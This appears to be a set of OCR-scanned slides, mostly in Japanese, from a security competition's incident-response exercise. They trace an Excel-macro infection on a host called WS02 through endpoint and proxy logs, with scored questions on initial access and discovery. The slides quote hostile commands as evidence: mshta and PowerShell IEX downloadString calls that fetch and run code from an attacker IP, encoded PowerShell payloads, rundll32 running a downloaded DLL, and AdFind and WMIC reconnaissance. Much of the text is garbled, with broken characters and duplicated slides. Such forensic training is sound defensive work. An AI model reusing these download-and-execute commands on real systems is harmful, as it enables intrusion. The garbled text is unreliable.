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Diversifying the delivery chain

Between September 13 and 21, Team Cymru analysts noticed the following different delivery methods of
IcedID on targets:

« Password Protected ZIP -> 1SO -> LNK -> JS -> [CMD or BAT] -> DLL
+ Password Protected ZIP -> 1SO -> CHM -= DLL
+ Password Protected ZIP -> 1SO -> LNK -> BAT -> DLL

s Malicious Word or Excel documents laced with macros

« Delivered directly via the PrivateLoader pay-per-install service

These campaigns used either the Italian language or English, with the former having smaller-scale

success than the latter.
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1.1 Initial Access/Execution (1pt)
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1.1 Initial Access/Execution (1pt)

m WSO20OJ CTExceld T OREBEO Y #eZR

-5ale-4acl-9a7a ) R 892954508 ip=172.16.1.182,
ad:b5:bf:2d DESKTOP™” usr="Swan” usrDomain="EDEN-COLLEGE" sessionID=3 psGUID=
B43D4F0} psPath="C:\Program-Files- (x86)\Microsoft Office\rnot\foicelﬁ\ExCEL.EXEﬂ

\USPPS\ﬁwan\Dusktop\fomdtet x1sm""" psID=4596 parentGUID={43D% -EEBC-4E52-84C3-2FD9DFC32858}

parentFath="C:\Windows\Explorer.EXE" psUser="5wan" psDomain="EDEN-COLLEGE" arc=x86
bcd746798c2
C c b2c69bScfe company="Microsoft Corporation” fileDesc=
product="Microsoft Office” productVer="16.8.15629.28156" crTime="089/38/20822 16:82:36.6 :
38/2822 16:82:45.139" size=4 16 sig=Valid signer="Microsoft Corporation” issuer="Microsoft Code Slgnlng PCA 291@” cerSN=“33 88 88
B84 98 8e 61 14 98 12 78 23 70 B0 00 00 00 84 98" validFrom="85/13/2822 85:47:85.8808" validTo="85/12/2823 B85:47:85.888"

A. 2022/10/05 14:21:02 tomatet.xlsm




1.2. Initial Access / Execution (1pt)

Swan 1.1 DExcel 771 V&R, ExcelhSWindowsiE#
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1.2 Initial Access/Execution (1pt)

M %xéqld)7°DtZ®GUID’EparentGUIDI:?ETEbT\ JOtXREEFOT
ED

cat ws@2.log | grep "evt=ps subEvt=start" | grep
"parentGUID={781B147F-3EC7-4C36-AA59-DC58AB43D4F9}"
lv=5 evt=ps suhEvt—start os=Win com="WS82" domain="EDEN-COLLEGE"

c5id=5-1-5-21-2161348381 802054588 ip=172.16.1.182,
="DESKTOP" usr="Swan" usrDomain="EDEN-COLLEGE" sessionID=3 psGUID=

-C682CEQF@145 : \Windows\SyskWOwe4\cmd. exe” cmd="/c m"~s~h~t"~a h*t~t"p:/~/35.77.166.144:8080/se/s.html"
8 barentGUID {?81B14?F—’EC? -AC36-AAS9-DCS8ABAIDAFS} parentPath="C:\Program Files (x86)\Microsoft Office\root\Officel6\EXCEL.EXE"
Swan™ psDomaln—”EDEN COLLEGE" arc=x86 sha256= b94d1c553c?efsldfedadﬁbe591ZBebBaBfﬁ?aec1a?8?azh6b53?39Qchaf8cc4
5 i cunpany— "Microsoft Corporation™ copyright="@ Microsoft
Corporation. All ghta reserved ! ="h s Comm; 2550 i ="16.8. 1697 (WinBuild.1l6e181.0880)"
product="Microsoft® Windows® Operating System” productVer="18.8.17763.1697" crTime="81/14/2621 86:16:25.589" acTime="81,/14/2021 86:16:25.

589" moTime="01/14/2821 @6:16:25.589" size=236832 sig-Valid signer="Microsoft Windows" issuer="Microsoft Windows Production PCA 2811"
cerSN="33 @0 2@ 83 8d be bf el b® ca 33 b3 d4 0@ @0 68 80 83 8d" validFrom="085/86/2822 84:23:15.8088" validTo="05/85/2823 84:23:15.088"




1.2 Initial Access/Execution (1pt)

“E AN VRTOVTIRMIBENWT. IRT—TESZERT
L%UDY%@HUL L\_C:E)%'\U*(SU&L\ — *ﬁﬂ]@ﬁ@f M@%ﬁn}b'fb
m LLFOOVYUR (Imshta) WETINTLBREEZSND

mshta http://35.77.166[.1144:8080/se/s.html
n FOOCRDEEOTVCIXEEREEFZO T7OF2O7 D5, EITHRINZHESS

in="EDEN-COLLEGE"
92054598 ip=172.16.1.182,
sessionID=3 psGUID=
77.166.144:8888/se/s.html" psID=5524
" psUser="Swan" psDomain="EDEN-COLLEGE" arc=x86

html HTTP/1.1" 28 251 7448 "-" “"Mozilla/4.@
" TCP_MISS:ORIGINAL_DST

(Lumpdflble, MSIE 7.98; W
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1.3 Initial Access/Execution (1pt)

med1.2 DIV RFETE, PowerShellZBHAU CHERDOTFRT 71
=9 00-FULTEITLTVS, TOURLZE A Ko

5] https://example.com/hoge.txt
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https://example.com/hoge.txt

1.3 Initial Access/Execution (1pt)

m Excel® E}J‘\‘ﬂ 14:21:02 LABEOProxydJ ZHE:S

172.16.1.182 - - [@5 2822:14:21:35 8] "GET http://35.77.166.144:88808/se/s.html HTTP/1.1" 251 7448 "-" “"Mozilla/4.8
(compatible; MSIE 7.8; Wi / -(0F We4; Trident/7.8; .NET4.8C; .NET4.BE)" TCP_MISS:ORIGINAL_DST
172.16.1.182 - - [85 20822:14:22:3 8] "GET http://35.77.166.144:8808@/se/s.png HTTP/1.1" 2
TCP_REFRESH_UNMODIFIED:ORIGINAL_DST

.16.1.182 3 3 2:25 "GET http://google. com,alogln/ae-rs.sh fa HTTP/1.1" 484 76

8] "GET http

172.16.1.182

TCP_MISS:0

I L [ 1822 : ] G 3 ON 141.153: ! 3 "-" "-" TAG_NONE:ORIGINAL_DST
3 "= "-" TAG_NONE:ORIGINAL_DST

o mshtab 1@.:. L/‘CW' @.:.%L,L%L L\<’)7’3\|E_|Uﬁ1§51573\‘---




1.3 Initial Access/Execution (1pt)

m 2DHDBESKRTWS02007 =18

:11 + domain="EDEN-COLLEGE"
WSCup_server” tmid le-4ac] 3 4568 ip=172.16.1.182,
G:78ff:d2de mac=06:ad:b5:bf:2d: ESKTOP" usr="5wan" usrDomain="EDEN-COLLEGE" sessionID=3 psGUID=
: \Windows\SysWoWe4\WindowsPowerShell\vl.@\powershell . exe" cmd="IEX{MNew-Object MNet.
WebClient).downloadString( "http://35.77.166.144:8808/se/s5.png’ )" psID=6048 parentGUID={C48BAB24-A1ED-43FA-9E30- 79DB39}

129b51a864a%e312d8e company="Microsoft Corporation” copyright="© Microsoft Corporation. All rights reserved."”
indows PowerShell" fileVer="18.8.17763.1 (WinBuild.168181.@8888)" product="Microsoft® Windows® Operating System” productVer="18.
8.17763.1" crTime="09/15/28618 16:14:15.943" acTime="©69/15/2818 16:14:15.943" moTime="89/15/2018 16:14:15.943" size=431184 sig=Valid
signer="Microsoft Windows" issuer="Microsoft Windows Production PCA 2811" cerSN="33 @8 8@ @1 c4 22 b2 f7 9b 79 3d ac b2 @e ee B8e 88 o1
c4" validFrom="87/84/2818 B85:45:50.888" validTo="87/27/2019 85:45:58.6808"

m PowerShell ¥ O0—RUET7P1IVEET
ILRFHY .png TE BEE T 71ILEILIRS RN
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1.3 Initial Access/Execution (1pt)
0 7°Dt1®%ﬁ¥l%§1%’&i§o‘(\,\<t\ 1.2070FREDEM

EDEN-COLLEGE™
8 ip=172.16.1.182
usr="Swan" usrDomain="EDEN-COLLEGE" i psGUID=
) 3 b4\WindowsPowerShell\vl.@\powershell.exe”™ cmd="IEX({New-Object Net.
WebClient).downloadString( "http://35.77.166.144:8888/se/s5.png’ )" psID parentGUID={C48B4B84-A1ED- 4’FH—JE“G 1
parentPath= Windows\SysWOWe4\WindowsPowerShelliwvl.@\powershell.exe” psUser="5Swan"
sha256=1ee3d7c88d075d64197d04de36e558843F2f6bc959c87cd5bBabd53b96bo6agt shal= ;

“L,a csid=5-1- a ip=172.16.1.182,
"DESKTOP” usr="5Swan"” ueromaln='EDEN—cuLLEGE" sessionID=3 psGUID=
) \Windows\SysWOWe4\WindowsPowerShell\vl.@\powershell.exe” cmd="-nop -w hidden -c &
(Ls LPlptDlOLk] :create( (New- nbj»ct System.I0.StreamReader (New- ub] ect System.IO.Compression.GzipStream({(New-Object System.IO.MemoryStream(,
JAtXTAFTL6LQWGGQ/ NqBeXCiSr/yfsPLczA1AChIOgwt s/BkPTHSXE3 4 7a8MNoL 9P/ AHE / BfU+C ] 33)), [System. I0.Compression.

CompressionMode]: :Decompress))).ReadToEnd()))" psID
parentPath="C:\Windows\SysWOW64\WindowsPowerShellivl.@\powershell.exe psUser=: ; ! " arc=x86
sha256= 1e93d7c88d8?5d64f97d84d936&558843'F2'F6bc959c8?cd5b636d53b96b9636f sial=e ade7272afdfs B aldd4c ]
g company="Microsoft Corporatigs™ copyright="© Micreosoft Cerporation. All rights reserved.”

98 loc=en-US type=ITM2 sn=69784"1v=5 evt=ps subEvt=start os=Win com="WS82" domain="EDEN-COLLEGE"
d-5ale-4acl-9a7#%p93a53b8 csid=5-1-5-21-216 3] 588 ip=172.16.1.162,
DESKTOP™ usr="Swan" usrDomain="EDEN-COLLEGE" sessionI psGUID=
45 AC 82B28 «} ,J’ath \Windows\SyshWOWe4\WindowsPowerShell\vl.8\powershell.exe” cmd="-nop -w hidden -e
aQBmAC gAL.IwB JAGAAdAB LIAHLIALgE dADOAUg BTAGkAegB lACAALLIBl AHEATAABACKAeWAKAGIAPQANAHAADWBIAG UACgB AGg.C\,_QI? SAGWALZB lAHgJ—‘n_QA nAHEBAZ(QB SAI—II"IJ—\ZQB?AL DAYg

' psUser="Swan" psDomail
lshal=e&bcad 72afdf52d963c Galddad26 je el8¢ c1a28 12d@ company="Microsoft Corporation” copyright="© Microsoft




1.4 Initial Access/Execution (2pts)

F'n'ﬂ%E%B@d%t\ ARERIT7AIVNT IO0-RENTI7MILEUVTRESN
TL\D,

E@i‘rjym—l\“ﬁwumt\ EDESBIGFR(T7AIVINR) IRIFS N2
=S Ao

J#—<vhk: URL I7IVIKR
5. (58%)

SElF CEEH




1.4 Initial Access/Execution (2pts)

m [E7R1.3 L,LB:pO)ProxyEIO“’a“:ﬁEn,u

172.16.1.182 - - [85/0ct/2822:14:21:35 +08968] "GET http://35.77.166.144:80880/se/s.html HTTP/1.1" 286 251 7448 "-" “"Mozilla/4.8
(compatible; MSIE 7.8; Windows NT 18.8; ; Trident,/7.8; .NET4.8C; .NET4.8E)" TCP_MISS:ORIGINAL DS

I L B 1 [@5!0(t/2522:14:22:L4 8] "GET http://35.77.166.144:8880/se/s.png HTTP/1.1" 288 76 962 "-" "-"
TCP_REFRESH_UNMODIFIED:ORIGINAL_DST

"GET htto://soogle.com/login/asfB8ahadfa HTTP/1.1" 484 76 1974 “-" "-" TCP_MISS:O0RIGINAL_DS
"GET http://yahoo.co.jp/login/3atafdaf3 HTTP/1.1 3 =" "-" TCP_MISS:ORIGINAL_DST
"CONNECT 183.79.219.252:443 HTTP/1.1" 288 65 @ " " TAG_NONE:ORIGINAL DST

"GET http://35.77.166.144:8808/login/7afda21s HTTP/1.1" 286 58 17412832 "-" "-"

:] "CONNECT 48.79.141.153:443 HTTP/1.1" : g "-" "-" TAG_NOME:ORIGINAL_DST
"CONNECT 35.77.166.144:443 HTTP/1.1" : "-" TAG_NONE:O0RIGINAL_DST

/logln/7J P IRSTEE DBEIEEL TS

m http://35.77.166[.1144:8800/login/7afda21s AD@EEHIELL)
NETRDFTEEFREIPPELANREU
27— 2Z0—RM200
S o0—-REINLET—YEHLEEHASTL (17,412,032bytes)




1.4 Initial Access/Execution (2pts)
m 14: 22 2'7 UDWSOZODEIO‘"EEEW

=5 evit=file subEvt=create os=Win com="W in="EDEN-COLLEGE"
ac —b csid=5-1-5-21-216 e ip=1 1.1¢
:bf:2d:23 rcCom="DESKTOP" usr="Swan” usrDomain="EDEN-COLLEGE" sessionID=3 psGUID=
psPath="C: \Windows\SysWoW6e4\WindowsPowershell\vl. 8\powershell.exe"
51.d11"™ drvType=HDD
2 loc=en-US type=ITM2 sn=; 6 5 =C15: —f3 = =Wi "WS82" domain="EDEMN-COLLEGE"

ip=172.16.1.18
3 psGUID=
sPowershell\vl.@\powershell.exe"
="C:\Users\Public\Documents\ssl.d1ll™ drvType=HDD read=e write=17411584 pe=1 arc=x64
sha256=d5baa85fc622c2f47d168768b1182cb9c57d839cb2c3eeddedadtod7ed536cedc shal:

m C; ¥Users¥Publ|c¥Documents¥ssl dll EWD T 71IVHMERK
ERRLTWBOEXRIE BE1.3 T yyO0—RLTWeZOERERU
E2FAHAFT—IYEE. 17,411,584 bytes & O—RINzT—92I30

A.

http://35.77.166[.1144:8800/login/7afda21s C:¥Users¥Pub
lic¥Documents¥ssl.dll

X BRPICARALEDIZH. PRLRE—HRIDXFICETRA TVET



1.5 Initial Access/Execution (1pt)

BREL1.4THESNIZ D 7AILIE. DAY FSA 2 TEITSNTUVET,
ZTOIONRSA 22N FSA2EIHEHTER K.

fBl: OY> RT " C:¥Windows¥system32¥whoami.exe /all” ZZE1TULT
LZIZE * Ci¥Windows¥system32¥whoami.exe /all’

5[EF TEIER]



1.5 Initial Access/Execution (1pt)

n JOCREEOV Z. FE1.4 TESNZ T 7ML Carepl TIRER

cat ws02.log | grep "evt=ps subEvt=start"
"C:¥¥Users¥¥Public¥¥Documents¥¥ssl.dll'

18/ 2 14:22:

subEvt =start os=Wi

csid=5-1-5-21-216 ; : 45060 1€ i 52 ] 78ff:d2de rad:bS:bf:2d: rcCom="DESKTOP" usr="Swan"
ueromaln—”EDEN COLLEGE" sessionID=3 psGUID—{nGEED414 579 ) 7 ! Wi Al cmd="

C:\Windows\System32\rund1132.exe C:\Users\Public\Documents\ssl.dll,StartW psID—ﬂd 2 parentGUID={

parentPath="C: \Windows\SysWOW64\WindowsPowerShell\vl.8\powershell.exe" psUser="5wan" psDomain="EDEN-COLLEGE" arc=x86
5h3256—h94d1c553(?9f81df848d6beSQ1289hBanﬁ?aecla?B?a2h6b53738QchaF8cc4 shal=6bc815d8ab21948581 % 2bbd

md5=db1 a3 icrosoft Corporation™ copyright="@ Microsoft Corporation. All rights reserved.”
F11eDe5c="H1ndows Candnd Processor” fileVer="18.8.17763.1697 (WinBuild.lee1e1.8868)" product="Microsoft® Windows® Operating Sys
productVer="18.8.17763 97" crTime="01,/14/2021 86:16:25.589" acTime="81,/14/2821 86:16:25.589" moTime="81/14/2821 86:16:25.58
size=236032 sig=Valid signer="Microsoft Windows" issuer="Microsoft Windows Production PCA 2811" cerSN="33 86 88 03 8d b8 bf el bd c
b3 d4 o8 8o ee e @3 2d" validFrom="85/86/2822 ©4:23:15.8080" validTo="85/85/2823 @4:23:15.088"

B C:¥Windows¥System32¥rundll32.exe ~
C:¥Users¥Public¥Documents¥ssl.dll,StartW Z=3{T

FHOOLXIIMEREL.40TOEXR




1.6 Initial Access/Execution (1pt)

Fn‘i%l.sw.%% AERANFEGEDFEE L. EEARIC - 38RISREITHONT
LB,

_DBETZEA Ko
(EZISEHHOVET, COMETIE. ENZAAUTEIERERYEXT,
JA—XYERCIPPRLU R R— MBS
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1.6 Initial Access/Execution (1pt)

u Fl:ﬁ%‘I .50)7°|:|th Y I\Ij gj:% ‘Jbl:lg“h“fa\\/\h\ﬁﬁnlu
m RTNIE FTOERDRY ST =08 U TR UVVDMERS

FIOOERZRFT -> XvhI)—0FEOITZRT -> FIORRXERT DiEYIRL

cat ws02.log | grep "evt=net subEvt=con" | grep 'psGUID={COEEDA14-5791-
4BF9-B7C7-33DO66A619EA}"

cat ws02.log | grep "evt=ps subEvt=start" | grep 'parentGUID={COEEDA14-
5791-4BF9-B7C7-33DO66A619EA}"

cat ws@2.log | grep "evt=net subEvt=con" | grep 'psGUID={AB117015-D20B-

4A22-BC6A-006C5AOF5SAFE }

cat ws@2.log | grep "evt=ps subEvt=start" | grep 'parentGUID={AB117015-
D20B-4A22-BC6A-006C5A0OF5AFE}

cat ws02.log | grep "evt=net subEvt=con" | grep 'psGUID={1DCOBODS5-64A8-
43A5-B6E1-074558F4AA73}"




1.6 Initial Access/Execution (1pt)

n 35.77.166[.1144:80 LU 35.77.166[.1144:443 NiBfE

server”

"EDEN-COLLEGE" sessionID=3 ) 745 \ Sys srcIP=172.

loc =en-US type=ITM2 sn=78 ] evt=net subEvt=con os=Win com="WSB2" domain="EDEN-COLLEGE" profile="MWSCup_server"”
€5id=5-: 1 1 ip=17 6.1 ), fede H ad:b5:bf
"EDEN-COLLEGE i =3 ] B 64A8 6E1-B74558F4A ath="0C:\Wi ws\Sys 32 32.e srcIP=:
66.144 dstPort=28
n-Us type=ITM2 s 5 = 8 evt=net subEvt=con os=Win com="WS82" domain="EDEN-COLLEGE" profile="MWSCup_server"
c5id=5-1-5 1 1 L i 6.1 ), fede H ad:b5:bf:
"EDEN-COLLEGE" sessionID=3 ={1D B B6AAB -4 6E1-874558F4A ath="C:\Wi Ws\Sys 32 32.e srcIP=172.
.144 dstPort=88
_\er‘ver"'

usrDomain="EDEN-COLLEGE" sessionID=3 ={1DCOBOADS - 64AS -4 6E1-8745 AA ath="0C:\Wi srcIP=]
7.166.144 dstPort=88




1.6 Initial Access/Execution (1pt)

m JOF0O0Hh%6 ENICCOTPRLUAANBELTVLWDSZEADHD

3] "GET http:/ 166.144:8888/login/7afda21s HTTP/1.1" 2 3 32 "-" "-" TCP_MISS:ORIGINAL_DST
ONNECT 48. 1.153:443 HTTP/1 8 B " TAG_NONE: ORIGINAL_DST
: ONNECT 35.77.166.144:443 HTTP/1.: B " TAG_NONE:0ORIGINAL_DST
822: 3] "POST https://35.77.166.144/db/api.html? HTTP/1.1" 384 A " "Mozilla/5.8 (Windows NT 18.8; Win64; x64)
HTML, like Gecko) Chrome/18@.0.4854,184 Safari/537.36" TAG_NONE:HIER_NONE
2 - - [@5/0ct/2822:14: 88 +8988] "POST http://35.77.166.144/namespaces/db/oauth2/db/api.html? HTTP/1.1" 55 1314 "-" "Mozilla/5.8 (Windows NT 1.
8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/1686.8.4854.184 Safari/537.36 TCP_HISS:ORIGI_NAL_DST
14: 3088] "POST http://35.77.166.144/database/db/db/samples.php? HTTP/1.1" "Mozilla/5.@8 (Windows NT 18.8;
ike Gecko) Chrome/186.6.4854.184 Safari/537.36" TCP_MISS:ORIGINAL_DST
3] "POST http://35.77.166.144/namesp. fapi/samples.php? HTTP/1.1" 375 "-" "Mozilla/5.8 (Windows NT 18.8;
o) Chrome/18@.8.4854.184 Safari/537.36" TCP_MISS:ORIGINAL DST
ET http://35.77.166.144/app.js? HITP/1.1" 8 471 522 "-" "Mozilla/5.@ (Windows NT 18.8; Win64; x64) AppleWebKit/
TCP_MISS:0RIGINAL_DST
80] "POST http://35.77.166.144/database/oauth2/db/api/api/db/samples.php? HTTP/1.1" 282 12¢ 75 "-" "Mozilla/5.e@
ows NT 16.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/186.8.4854.184 Satari/537.36" TCP_MISS:ORIGINAL_DST
1.182 - - [@5/0ct/ 14:2 +8988] "GET http://35.77.166.144/javascripts/script/j ripts/script.js? HTTRP/1.1" B 584 483 "-" "Mozilla/5.@ (Windows
NT 18.8; Win64; x64) Ap (it/53 (KHTML, like Gecko) Chrome/166.8.4854.184 Satari/537.36" TCP MISS:ORIGINAL DST

m A 35.77.166[.1144:80 / 35.77.166[.1144:443

B e e
o o = =

X BRPICARALEDIZH. PRLRE—HRIDXFICETRA TVET



1. Initial Access/Execution

A\

‘Jbi—C‘-‘@, \;Iféa:I_\J%_:

105N

ﬁ#ﬁﬁjéﬁ:ﬁ&

35.77.166[.]1144:80

http://35.77.166[.1144:8800/se/s.png 39.77:166L1144:443

»
I

http://35.77.166[.1144:8800/login/7afda21s

http://35.77.166[.1144:8080/se/s.html

»
H

tomatet.xlsm mshta.exe powershell.exe powershell.exe rundll32.exe
(Excel 4.0 Macro) (Base64 Encoded)




BbENEY /00— Bldend. exe®EITL. THIC LD T3IEHT = Thshta. exefEITEN. UE— D PowerShell
HTMLPZ U4 —Z 3 20068 - EfTah#Ed., Co0—- FTE. BRREdEaEEyd Sz, 16£8%
o, XFEEHEFHELIED L TWET, £TSNAEHEEA IV BXFNEZROESDTT, ond AFEE DB RLAZ PowerShell 24 U NEIS)dhorp: //91.240
mshta hxxp://91.240.118(.]168/se/s.html ;JR;L?P Emotet/ (L3 F¥E DPowerShell 1 —
: ‘ ¥iFEd,

= - —
[s5a] macrosheet]  [Time Card] (worksheet)  [Sheetl] (workshest)
Definednames  Formulas

Exchude functions

Edrumsoro b car B comcat

‘SEAIS15

'S5A1523 =HALT]

‘Time Card®C21 =IF{SCS16=0,"" SC516-6)
‘Time Card*C22

‘Tiene Card 2023

‘Time Card 024

‘Tiere Card3(25




1. Initial Access/Execution

m RAT (Remote Access Trojan)&UT Sliver Z{EH
GO CENMIIZC2TL—LT—D
https://github.com/BishopFox/sliver

'—'_$(k¢1]u® kali)-[~]

? Select a server: kali@®localhost (5a6875abd@7247c5)
Connecting to localhost:31337 ...

[ |

=T

All hackers gain conspire
[*] Server v1.5.28 - 4738bf229c2ea46@aa38ca27f5ff6d6f79693072
[*] Welcome to the sliver shell, please type 'help' for options

sliver > jobs




2.1 Discovery (1pt)

WS02CldActive DirectoryZzil& 9 'V —ILMEITINTL S,

E@iﬂEActive DirectoryDFREE'Y—IVDERITI7IIVDIN R ZEEZZ

Bl ~C:¥Users¥hoge¥fuga.exe’

3EIXTEIEA




2.1 Discovery (1pt)

s WSO020 Ot RO T It

cat ws@2.log | grep "evt=ps subEvt=start" > ws02.ps_start.log

m 14:21:02BLIEOOTZIFICRD & 1204 1ZEIC78D
m JOPRZRTLIKE, C:¥ProgramData¥AdFind¥AdFind.exe ZR{T

(x86)\Microsoft Office\root\Officel6\sdxhelper.exe” cmd="-Embedding” psID=1488 parentGUID={BA
\Windows\system32\cmd.exe" cmd="/c C \Pr‘ngramDaTa\AdFlnd\dd-I-lnd bat™ psID
) ) 784 parentGUID
psGUID={C2A87D3E-4D2C-4342-A65C-502 3BAS} \ProgramData\AdFind\AdFind.exe" -f (objectcategory=person)

psGUID={CD98EFEF- . 7 L \Pr‘ogramData‘\_AdFihd‘\_AdFind.u e -f (objectcategory=computer) " psIi

psGUID—{ix’E:FEC‘E—' \184-7BB 11695} psPath="C:\ProgramData\AdFind\AdFind -f (objectcategory=organizationalUnit) " psID=2

psGUID {AA7F7AFS-E \ 4 148ED7C} \PrngramData\AdFlnd\AdFlnd exe" -f (objectcategory=group) " psID=1616 parentGUID={3CE7D8A1-

exe"” cmd="-k wsappx =5176 parentGUID={28CFF D 73-8C 736F7B2} parentPath="C:\Windows\System32\services.exe" psUser="SYSTEM" psDomaln—“HT AUTHO
5-D18C-4E74-8A31 )E \Windows\System32\WindowsPowerShell\vl.@\powershell.exe” cmd="-NoExit -Command [Console]::QutputEncoding=[Text.UTF8Encoding]

mA. C:¥ProgramData¥AdFind¥AdFind.exe




2.1 Discovery (1pt)

m JOCROEFEFZRZEEOTLKE, 1.5 TCHEENEEIL/ZTOLEX

profile=" MuSCup server” tmid= E :
DESKTOP" usr="5uz i -COLLEGE" sessionID:
\Pr‘ogr‘amData\AdFlnd\AdFJ.'ld = (nbjectt_a‘i'egcvrv—per‘ n) " psID=4792 parentGUID={
-COLLEGE" arc=x80 siids30=113/0201UILLU4Z,0/- SLOULES S 343010/ 24usus5w32.2b10ac632acc6241455e
company="uwww.joeware.net” copyrigh opyright (C) 2601-2822 www.joeware.net"”
acTime="168/685/2022 14:94:51.811" moTime="18/65/20622 14:34:51.811"

com="WS82"
187
DESKTOP" usr="Swan i i : 86-ABBAESAL
-:\ProgramData‘\AdFind\adfind.bat” psID= parentGUID={7E536CB9-5C3D-44C1-9DB5-BCCAB1DACSBO}
" psUser="Swan" i EDEN-COLLEGE" arc=xb4 shalbb=DCBobctcddas/f_4dclbi4dclBlc/abebtb2090a17a8+a105b07414c0e7c527
9 md5=5 158 3 e22f8e22 company="Microsoft Corporadfon” copyright="© Microsoft Corporation. All rights

‘Windows Command Processor”™ fileVer="10.€.17763.1697 (WinBuild.168161.8860)" product="Jicrosoft® Windows® Operating System” productVer=

'1697" crTime="01/14/2821 86:15:45.574" acTime="01/14/2821 86:15:45.606" moTime="01/14/2821 06:15:4>.606" size sig=Valid signer="Microsoft Windo

issuer="Microsoft Windows Production PCA 2611" cerSN="33 0@ @@ ©3 8d b@ bf el bl ca 33 b3 d4 e0 00 20 6@ 83 8d" validFrom="85/86/2022 @4:23:15.008" validTo="
2023 04:23:15.008"

s subEvi/start os=Win com in="EDEN-COLLEGE" profil
16.1.182 fe8@::cc85: E d:b5:b
'Swan“ usr‘Donaln DEN-COLLEGE" sessionID=3 | psGUID={7E526CES-5 \
1.d11,StartW" psID= parentGUID={5127
psDomaln "EDEN-COLLEGE" arc=x64 sha256=9f1e56a3bf293ac536cf4b8dad570848797d62dbbBcal9c4edd683b5565549481 shal=ade g
1d7b< f compan icrosoft Corporation” copyrigh Microsoft Cor‘poratlon All rights re erved * flleDes
8.9.17763.1697 (WinBuild.166181.8808)" product="Mic
1. ime="01,/14/2821 86
8d b@ bf el b8 ca 23 b3 d4 00 60 60 00




2.1 Discovery (1pt)

m JOCROEFEFZRZEEOTLKE, 1.5 TCHEENEEIL/ZTOLEX

profile=" MuSCup server” tmid= E :
DESKTOP" usr="5uz i -COLLEGE" sessionID:
\Pr‘ogr‘amData\AdFlnd\AdFJ.'ld = (nbjectt_a‘i'egcvrv—per‘ n) " psID=4792 parentGUID={
-COLLEGE" arc=x80 siids30=113/0201UILLU4Z,0/- SLOULES S 343010/ 24usus5w32.2b10ac632acc6241455e
company="uwww.joeware.net” copyrigh opyright (C) 2601-2822 www.joeware.net"”
acTime="168/685/2022 14:94:51.811" moTime="18/65/20622 14:34:51.811"

com="WS82"
187
DESKTOP" usr="Swan i i : 86-ABBAESAL
-:\ProgramData‘\AdFind\adfind.bat” psID= parentGUID={7E536CB9-5C3D-44C1-9DB5-BCCAB1DACSBO}
" psUser="Swan" i EDEN-COLLEGE" arc=xb4 shalbb=DCBobctcddas/f_4dclbi4dclBlc/abebtb2090a17a8+a105b07414c0e7c527
9 md5=5 158 3 e22f8e22 company="Microsoft Corporadfon” copyright="© Microsoft Corporation. All rights

‘Windows Command Processor”™ fileVer="10.€.17763.1697 (WinBuild.168161.8860)" product="Jicrosoft® Windows® Operating System” productVer=

'1697" crTime="01/14/2821 86:15:45.574" acTime="01/14/2821 86:15:45.606" moTime="01/14/2821 06:15:4>.606" size sig=Valid signer="Microsoft Windo

issuer="Microsoft Windows Production PCA 2611" cerSN="33 0@ @@ ©3 8d b@ bf el bl ca 33 b3 d4 e0 00 20 6@ 83 8d" validFrom="85/86/2022 @4:23:15.008" validTo="
2023 04:23:15.008"

s subEvi/start os=Win com in="EDEN-COLLEGE" profil
16.1.182 fe8@::cc85: E d:b5:b
'Swan“ usr‘Donaln DEN-COLLEGE" sessionID=3 | psGUID={7E526CES-5 \
1.d11,StartW" psID= parentGUID={5127
psDomaln "EDEN-COLLEGE" arc=x64 sha256=9f1e56a3bf293ac536cf4b8dad570848797d62dbbBcal9c4edd683b5565549481 shal=ade g
1d7b< f compan icrosoft Corporation” copyrigh Microsoft Cor‘poratlon All rights re erved * flleDes
8.9.17763.1697 (WinBuild.166181.8808)" product="Mic
1. ime="01,/14/2821 86
8d b@ bf el b8 ca 23 b3 d4 00 60 60 00




2.1 Discovery (1pt)

m AdFind.exeld. 14:31:51tBICKEEIC L > TER

4 +8208 loc=en-US typ
="MWSCup_server” tmid=f3 C
b5:bf "DESKTOP
psPath="C:\Windows\system32\rundl1l32.exe" path="C

18/85/2822 14:34:5 1 5 rs=18 trs

profile="MWSCup_server a9bd le-4: 7 i 188E csid=5-

b5 rcCom="DESKTOP" usr="5wan” usrDomain="EDEN-COLLEGE" sessionI
:\Windows\system32\rundll32.exe” path="C:\ProgramData‘\AdFind\AdFind.exe"” drvTyp ) i 2 pe=1 arc=x26
sha256=f157898fd3ccd4228298cB6ce8734361b724d88459592b108ac632acch24f455e shal=c2eacas : 67eclb62%cadfla md5=5483das
"www.joeware.net” copyright="Copyright (C) 2001-2822 www.joeware.net” fileVer product="AdFind" productVe
1.764" crTime="18/85/2822 14:34:51.763" acTime="18/85/2822 14:34:51.811" moTime="18/85/2022 14:34:51.811" size=20893176 sig=None new=1




2.2 Discovery (1pt)

WS02DEERSEEID 1 DICWindowsZF 1T £ —ICEHRI N
VIRD I DRREEA T TOLRARITNS O,

FOTOERREZRIOTDI—T I RES(sn) &% % Ko
fBl: “64941°

3[E|E CEIZEA




2.2 Discovery (1pt)

m 2.1 CERL7TZWS02D 70O R Ecgh & s

:\Windows\System32\WindowsPowersShell\vl.@\powershell.exe" cmd=
:\Windows\System32\Conhost.exe” cmd="@xffffffff -Forcevl" psID=
: "fall" psID

QutputEn -ndlng—[T xt.UTF8Encoding]: :UTF8" psID=4 parentGUID={7E
3-48 ) :\Windows\System32\Windows}
indows\Sys temJ-_‘\_windcanPO'.-.lerShe11 1.8\
indows\System32\WindowsPowerShellivl.@\powy

BFED2} parentPath="C:\Windows\system32\net.exe™ psUser="Swan" psl

1 78} parentPath - I"IdO'.JS\ ystem32\WindowsPowershelliwvl.{

:\Windows\system32\net.e parentGUID={EC1D846

:\Windows\system32\netl.exe" s ; parentGUID={:

:\Windows\system32\net.exe" cmd algroup”™ psID=528 parentGUID={EC1D2469

\Windows\s) e" cmd="localgroup” psID=3412 parentGUID={4 2\net.exe" psUser‘— Sy

\ Ilndo'..l:\cvstem-2\,net e
B} parentPath \Windows\System32\Wind:
72C} parentPath=" 5
psID=7866 parentGUI

parentGUID={E 579- AE76-A267-CAG211C61EF9} par‘entPath—
\Windows\System32\svchost.exe"

" cmd="/namespace :\\root\SecurityCenter2 path AntiVirusProduct get /forma
dow \svstum32\DllHo 1- xe” :{ABB9082B4-00CA-4BB6-B78D-ABF50879A8D5 1 psID=

\Windows]
=41276 parentGUID={D

psUser="SYSTEM" psDomain="NT AUTHORITY" arc=x64 sha256=de85f29a8l

m wmic.exe ZRH\ X1 )71t —DAntiVirusProductzZEUE
92OV IREZET

